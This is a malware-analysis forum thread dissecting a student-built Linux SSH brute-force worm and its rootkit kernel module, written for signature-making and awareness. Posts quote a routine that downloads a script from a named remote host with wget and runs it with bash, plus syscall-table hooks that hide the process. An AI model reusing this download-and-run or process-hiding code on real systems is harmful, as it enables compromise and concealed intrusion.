A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #27461  by unixfreaxjp
 Thu Dec 24, 2015 8:27 am
A university kid in Shanghai, China made this malware in his "school project" and run a wide-test for it, he uploaded the sample for checking its FUD.. why a friend poke me for that. His purpose is definitely suspicious.
I analyzed it in here: http://blog.malwaremustdie.org/2015/12/ ... r-elf.html

This is a malware that can goes wild as a worm.
It is worth to make the signature to protect people since the source code of this nasty stuff is openly in GitHub.
The sample is attached. More info can be fetched by reading the blog post.

Image
Image
Image
Image

#MalwareMustDie
Attachments
7z/pwd:infected
(402.7 KiB) Downloaded 82 times
 #27462  by tWiCe
 Thu Dec 24, 2015 10:32 am
Thanks, nice analysis.

Did you manage to obtain a x64 sample mentioned on one of the screenshots from the article?
 #27463  by p1nk
 Thu Dec 24, 2015 12:17 pm
Interesting live URLs in the file sshv-service.

wget hxxp://testzzzzzz.10g.me/sshv-service-rule --quiet;
wget hxxp://testzzzzzz.10g.me/sshv-service-shell.sh --quiet;


Looks like unixfreaxjp already included them.
Last edited by Xylitol on Tue Jan 05, 2016 1:35 am, edited 1 time in total. Reason: links obfuscation
 #27464  by tWiCe
 Thu Dec 24, 2015 1:42 pm
p1nk wrote:Interesting live URLs in the file sshv-service.

wget hxxp://testzzzzzz.10g.me/sshv-service-rule --quiet;
wget hxxp://testzzzzzz.10g.me/sshv-service-shell.sh --quiet;


Looks like unixfreaxjp already included them.
All URLs used by components of this trojan are alive, except one that supposed to be an x64 sample of the main trojan.
 #27465  by unixfreaxjp
 Thu Dec 24, 2015 5:24 pm
tWiCe wrote:Thanks, nice analysis.
Did you manage to obtain a x64 sample mentioned on one of the screenshots from the article?
I thought so too (main part x64 could be a nastier stuff..like rootkit etc) actually. Tried to seek everywhere for it, it's just not in there.
Upon surveillance of the university activity it looks like they have the presentation for this on the same day,
my wild guess is they couldn't make it to code/release it that far.
 #27467  by skyhighatrist
 Fri Dec 25, 2015 11:17 am
My last post got lost because of a session timeout, but here is a TL;DR of it.

The kernel module only affects x86 systems, not x86_64, due to the inline assembler using only x64 registers.

The kernel module tries to hide a specific process by doing the following:
* Searches for the syscall table in memory to get functions to hook.
* Hooks dirent and dirent64 syscalls, see below snippet specifying these as the functions being hooked.
Code: Select all
asmlinkage long (*old_getdents64) (unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
asmlinkage long (*old_getdents) (unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);
* Searches for the PID of process named "sshv-service" (which is the usermode SSH bruteforcer)
- this is hardcoded, see the following code snippet.
Code: Select all
int init_module(void) {
        hash_hidden = hash("sshv-service");
        pid_hidden = find_pid(hash_hidden);
* Conceals the corresponding directory in the /proc filesystem
- for example, if the PID of sshv-service was '1337', it would conceal /proc/1337/ directory
Aaaaand, that is about it. It does nothing else interesting whatsoever.

The LKM in use has nothing to conceal itself on an infected host. Furthermore, there is no persistence mechanism in the entire toolkit to help it survive past reboot, beyond the exfiltrated stolen credentials and poorly dropped PHP webshells that may or may not end up in the right place.

Now, there IS some interesting things going on in the usermode component. Along with bruteforcing ssh credentials, it periodically phones home to get new scripts to execute using a weird script-executor function outlined below.
Code: Select all
int recatch_shell(int old_sv,int local) {
        if (local==1)
                system("wget -N http://testzzzzzz.10g.me/sshv-service-shell.sh --quiet;");
        FILE *shell = fopen("sshv-service-shell.sh","r");
        char c = fgetc(shell);
        int new_sv = 0;
        if (c=='#') while ((c = fgetc(shell)) != '\n' && c !='\r') 
                new_sv = new_sv*10 + c - 48;
        fclose(shell);
        if (new_sv > old_sv) {
                system("bash ./sshv-service-shell.sh");
                return new_sv;
        } else
                return old_sv;
}
Now, this is where I noticed it actually gets interesting. The "script to be executed" was the following.
Code: Select all
#2
mkdir hahahahaha
The # is a starting tag, the "2" is some kind of Task-ID for crap job control purposes (hence all the new_sv > old_sv comparison and parser rubbish), and the rest of the script is shell commands to be executed. This function is called as part of the "run forever" main loop of the malware.

Also, not going to paste it, because I have wordpressed long enough, but in the main loop there is also this fascinating piece of code that parses a "rules" file. All the parsing is done manually in the code. It basically takes in a list of IP ranges to bruteforce and passes them to the SSH cracker function. This also has a job-control or versioning tag builtin so that it does not loop over the same range (hopefully).

Anyway, that's it. This is not exactly a f-- APT or anything, its effectively copypasta. It probably *is* some poor sods college assignment for a network security class or something that went a bit awry.
I have the full sources backed up from the Github, and other places, but if they get purged or are not in the original sample package let me know and I'll tar them up and put them here.
 #27470  by unixfreaxjp
 Sat Dec 26, 2015 9:06 am
skyhighatrist wrote:This is not exactly a f-- APT or anything, its effectively copypasta. It probably *is* some poor sods college assignment for a network security class or something that went a bit awry.
Thank you for your post.

I think you should see the post/blog report well, instead using some Fxxx words in our respectful forum here.

But okay, below is the explanation of the case & post I made:

1. I posted analysis based on the reversing analysis on the binary found, linked it to the stuff in CNC. I reversed it just as that which its result explained in the blog post report. Our team mates found the github site after the analysis was posted during further search. So I don't analyze how the source code to details afterward, in fact I did not see some of this threat Git files until now.

2. During the reversing we "smelled" MAYBE it was a kind of university project, but we couldn't confirm it that time, it is beyond our thought to imagine a university is opening such viral research against public internet too. Below is the proof of our internal communication:
Image
After further checks and communication was made, It was confirmed as a "school project", see the additional information in the posted blog, ..after some take down request & etc communications, we received the confession/apology from the coder himself.

No one EVER says about " fxxxing APT" here, just you in your disrespectful ways.

3. I (and also researcher friend who spotted the binary in 1st place) agreed to not want to disclose how source/this kernel module works, nor to discuss that details in public for the security purpose, not that unaware of how it works in details, yet, I posted way to dispatch back the cr0 value in the sys_call_table that was actually being "hijacked" here, in the reddit post I made as per asked not to unhide the process back. as per the coded by the malcoder too, that was actually work (tested) in x32 kernel.
IF you can read that injected assembly code well, it said: The kernel_memory_allocate() was refreshed by setting back to space 0x80000000-0xFFFEFFFF (READ: refreshed), to then followed by returning the cr0 value to its original states, that uses eax as register to hold the value of cr0, "eax" is showing the x32 bit operation eventhough the "hijacking" kernel module code is designed to handle x64 too.
The "copy-pasta" below is a saying much of the original codes that was supported both arch. Even though the "current spotted" implementation of the actor is on x32 only, AND there is actually a x64 binary that is supposed to be downloaded but not be spotted yet too.

[quote ="tWiCe"] Did you manage to obtain a x64 sample mentioned on one of the screenshots from the article? [/quote]

This is where the sys_call_table_addr was hijacked, noted the usage of x32 _& x64 in there.
Code: Select all
    if (sys_call_table_addr == NULL) return -1;
  	old_getdents64 = sys_call_table_addr[__NR_getdents64];
        sys_call_table_addr[__NR_getdents64] = new_getdents64;
	old_getdents = sys_call_table_addr[__NR_getdents];
and here's where it returned to the original state. noted the usage of x32 _& x64 in there.
Code: Select all
	sys_call_table_addr[__NR_getdents64] = old_getdents64;
	sys_call_table_addr[__NR_getdents] = old_getdents;
        setback_cr0(orig_cr0);
Image

4. Additionally, if I want to take this kernel internals matter FURTHER, there are actually some flaw in the kernel module malcode for the actual implementation, more than just x32 or x64 intel assembly matters that was coded there (we assumed the coder is developing all of these under his x32), as its relation to the incompatibility of the linux kernel versionS (noted the "s" as plural) in sys_call_table part which may not run in some major systems (which is good for all of us), but I don't want to discuss about that either to "inspire" the dark side.

5. We decided to post the case for the linux hardening awareness (kernel module used malware) purpose & as evidence to stop the usage internet as the malware protect test bed.

Some correction of your post:
skyhighatrist wrote: due to the inline assembler using only x64 registers.

You mean the "only x32 register"? ;) This is a big difference isn't it? Since when x64 register is "eax"?

Thank's and rgds - #MalwareMustDie
 #27482  by skyhighatrist
 Tue Dec 29, 2015 6:04 am
First off, apologies for the typo in my original post, I meant to type x86.
Lack of sleep does that, makes one miss minor things every now and then.
Unfortunately the forum software does not appear to allow editing ones posts after some period of time has elapsed to rectify such errors (probably to prevent people from retracting statements and keep people honest), and, well, making a followup post to correct one tiny typo that the reader would catch and correct - probably subconsciously - seemed like a waste of time.
Furthermore, if you take issue with my choice of language to describe things, feel free to PM me regarding it, or ping me on IRC sometime.

Anyway, with respect, I'll correct some slight factual errors in your response. Some people read here for technical content as opposed to moralizing over software.

In the Linux kernel, regarding the getdents and getdents64, this is NOT implying it runs on 64 bit linux (Intel x86_64).
The getdents64 system call is available on 32 bit Linux, ARM, MIPS... etc... As it has nothing to do with the CPU architecture, but rather, the sizes of data the syscall can deal with.
I refer you to the manual for this.
The original Linux getdents() system call did not handle large file systems and large file offsets. Consequently, Linux 2.4 added getdents64(), with wider types for the d_ino and d_off fields employed in the linux_dirent structure.
Ref: http://linux.die.net/man/2/getdents64
Ref: http://linux.die.net/man/2/getdents

The reason the rootkit hooks both getdents and getdents64, is because usermode software can call either of them, and hooking both is needed to effectively hide directory entries from userland.
If you do not hook both of them, your rootkit will fail at hiding your files from the readdir() call.

The malicious kernel module will only function on x86 (32 bit) Intel boxes for the simple reason that its method of kidnapping the syscall table is only written to work with those registers.
That is, if it will function. Sure, you could change eax to rax, but enjoy the kernelpanics.

Anyway, while having a review of the source (which is attached to my post for study purposes, obviously, beware the malware, etc) as mentioned in my original post on the matter, I noticed an interesting flaw in how the malwares rootkit functionality works.

Basically, it might work to hide the 'sshv-service' process, provided that your box has not kernelpaniced already because poorly written hooks, and provided the hook doesn't simply "fail".
However, if we look at the "sshv-service" process, we see it relies on calling external binaries (wget, ping, curl, bash...) for a lot of its "functionality".
These child processes will *not* be hidden by the rootkit, as they are not named "sshv-service", and it only hides processes with the name "sshv-service" ;)

I leave spotting some other programming issues to the reader, as I should not ruin all the fun. This is a great example in how not to write malicious software, and also contains a couple of good lessons for analysts to learn from, especially regarding the Linux syscall naming convention.
Attachments
Malicious code's git repository. Warning: Contains binaries as well as source, because it is an exact mirror. Handle with caution <3
(1.74 MiB) Downloaded 60 times
 #27490  by unixfreaxjp
 Wed Dec 30, 2015 5:47 pm
skyhighatrist wrote:The getdents64 system call is available on 32 bit Linux, ARM, MIPS... etc... As it has nothing to do with the CPU architecture, but rather, the sizes of data the syscall can deal with.
To be very honest, I missed deep checks on the above getdents* man(2) details during observation, as I just read the module codes per coded in the module as per spotted in the sample. Thank you for the kindly explain and nice reference.

Taking this issue further, I found interesting fact that IF the coder should use BOTH getdents & getdents64 then logically he should use the struct linux_dirent and struct linux_dirent64 for matching dirp pointers for each kidnapper new_getidents to match each of getidents dirp pointers structure data, but he seems to ONLY use struct linux_dirent64 in both new_getdents AND in new_getdents64 (as we know these are the kidnappers of the real both getdents and getdents64) .

POINT: new_getdents is supposed to use struct linux_dirent in its dirp pointer instead, to be matched to the original getidents which its *dirp pointer use struct linux_dirent... So..obviously the coder is not using struct linux_dirent at all, yet he is successfully hooking both original getidents values, and the malware is actually working in concealing the targeted process as per planned. Snippets is below with comments (ones with "mmd:", other comments are by malcoder) , the yellow marked is the stuff I bring up.
Image
So it's a bit of weird isn't it, if without hooking both getdents (and getdents64) "theoretically speaking" the malware module won't run , but it's actually using only one struct linux_dirent64 at both dirp's pointers for both getident and getindents64 kidnappers is OKAY to run it.
I actually expected the kernel goes panic at this point, but NO, it concealed the process..

But another matter is cleared. It seems that we're all agreed this kernel module is designed for x32 only, as per coded cr0's unlocking-re-locking part below: (comments was added by me)
Image